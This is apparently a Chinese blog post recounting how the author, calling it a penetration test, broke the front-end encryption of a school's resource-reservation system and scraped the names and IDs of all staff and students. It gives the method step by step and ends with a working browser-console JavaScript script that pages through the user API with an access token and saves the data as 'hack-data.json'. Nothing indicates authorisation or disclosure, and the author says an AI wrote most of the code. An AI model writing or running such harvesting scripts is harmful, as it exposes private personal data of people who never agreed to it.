L校资源预约系统渗透测试
Kein System ist sicher. (没有绝对安全的系统)
自笔者上次发现L校图书馆毕业纪念网站的安全问题后,很长时间都没有什么新的发现了…… 直到某天,ZZR在L校的APP上发现资源预约系统可以查看所有在校师生的姓名、工号等敏感信息,然后将这一发现分享给了我,于是一个种子播下了.
初次尝试
我找到了该资源预约系统的网页端,F12 打开开发者工具,找到相关数据的请求包.

首先是这个post请求的url最后的参数非常奇怪,再点击response会发现不是网页中显示的数据,而是很长的一串字符,request同样是一串很长的字符。笔者非常果断地放弃了……


Two thousand years later …
某天,WJY说总是预约不上羽毛球场,问我能不能写一个一键预约脚本用于该系统,我说有难度……
回到宿舍,我又打开了那个网站,因为没有思路,然后又默默地❌掉了……
前面铺垫这么久,就是想突出一下这次渗透测试的难度嘿嘿。下面开始正文!
存在加密
网页显示的数据一定就是post请求的response,而显示的结果是明文,说明一定存在解密过程,而且一定是在前端解密的(后端解密就没有加密的必要了😅),那一定就可以找到解密部分的代码!

笔者在源代码搜索栏中尝试了 crypto
, encrypt
等关键字,定位加密代码部分。搜不到也可以将代码文件逐个点一遍,关键是要坚信前端一定有解密的代码.

果然,没花多长时间,笔者就找到了解密的代码,在浏览器控制台运行decodeResult函数,成功解密!

这时候,自然会用这个函数试一下解密requset的数据.

post请求的url参数是个什么鬼?
笔者第一次遇到这么奇怪的url参数,延续上面的想法,起初以为这个参数也是加密后的结果,可是死活找不到加密的代码,按照上面加密过程反向解密也不行,然后就卡在这里了……
不过,post请求是从前端发到后端的,意味着url也是前端生成的,那么一定能在前端找到生成它的代码.

在AI君的帮助下,笔者一点一点读完了这些打包混淆的代码,找到了一个关键的代码片段.

经调试,post请求的url在发出时,没有后面的奇怪参数,且request也没有加密,而且笔者第二天发出相同request请求却得到不同的url参数,于是猜测这个url参数是动态生成的,可能是依据token和cookie生成的。(弄清这个url参数真的是花了很长时间,最后是在控制台构造了一个post请求发出后成功返回了数据才确认了这个请求过程)
(所以实际上post请求的url就是 https://example.com/hzsun-resm/sys/user/queryUserByConfitionPage
,请求头加上 X-Access-Token
参数,结合请求头的cookie发出post请求时,浏览器Network显示的url就自动加上了那个奇怪的令牌参数)
爬取数据
最后就是快乐地爬取数据环节.(当然是用控制台爬取,浏览器控制台自动处理请求头带上cookie真的太方便了)
一开始笔者按照常规爬取思路,准备按页爬取保存,后来发现浏览器每次保存需手动点击确认,就将每页爬取的数据合并再一次保存下来.
学到了什么
- 浏览器控制台爬数据不要太爽,javascript值得一学!
- 感觉Google Chrome的Console和Debugger比Firefox要正常
,也有可能是我误点了什么(同样的post请求构造,Firefox返回400,Chrome正常返回response数据;起先Firefox也是正常返回,后来就一直返回400,我找了好长时间原因,最后在Chrome上发post请求完全正常) - 浏览器Private窗口操作,关闭所有Private窗口后,所有缓存都会被清除
- AI君真是最强搭档,本次渗透的代码有95%均为AI君完成,剩下5%是笔者细致入微的提问和耐心的等待(什么时候deepseek不再出现服务器繁忙啊啊啊)
(❓)浏览器post请求显示的request为什么是加密的
post请求发出后,前端的request拦截函数做的加密(笔者水平有限,猜测过程是这样的)


(附录)js代码
const url = "https://example.com/hzsun-resm/sys/user/queryUserByConfitionPage";
const token = "EXAMPLEopeyJ0e02jfXAiOiJKV1QixxLCJhbGciOiJIUzIpjafds1NiJ9.eyJleHAiOjE3N1lIjoiMzIwMjEw9fjadsOTQ4MjUxIn0.24XCcXb5HZJ1Rrw4YTYC4w1Qrgv3AQ";
async function runBrowser() {
const total = 1000; // 根据实际情况确认总页数
const batchSize = 10;
const allData = []; // 存储所有响应数据
async function sendRequest(offset) {
const payload = {
"limit": 100,
"offset": offset,
"userIdList": [],
"excludeRoleId": "",
"roleId": "",
"orgId": "",
"realname": "",
"username": "",
"userTypeCode": ""
};
try {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Access-Token': token
},
body: JSON.stringify(payload)
});
if (!response.ok) throw new Error(`HTTP错误! 状态码: ${response.status}`);
const data = await response.json();
allData.push(decodeResult(data)['responseResult']['rows']); // 将响应数据存入数组
} catch (error) {
console.error(`Offset ${offset} 失败:`, error);
}
}
// 分批发送请求
for (let i = 1; i <= total; i += batchSize) {
const promises = [];
for (let j = 0; j < batchSize && i + j <= total; j++) {
promises.push(sendRequest(i + j));
}
await Promise.all(promises);
await new Promise(resolve => setTimeout(resolve, 1000)); // 批次间隔
console.log(i);
}
// 创建并下载合并后的文件
const blob = new Blob([JSON.stringify(allData)], { type: 'application/json' });
const downloadUrl = URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = downloadUrl;
link.download = 'hack-data.json';
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
URL.revokeObjectURL(downloadUrl);
}
// 启动抓取
runBrowser();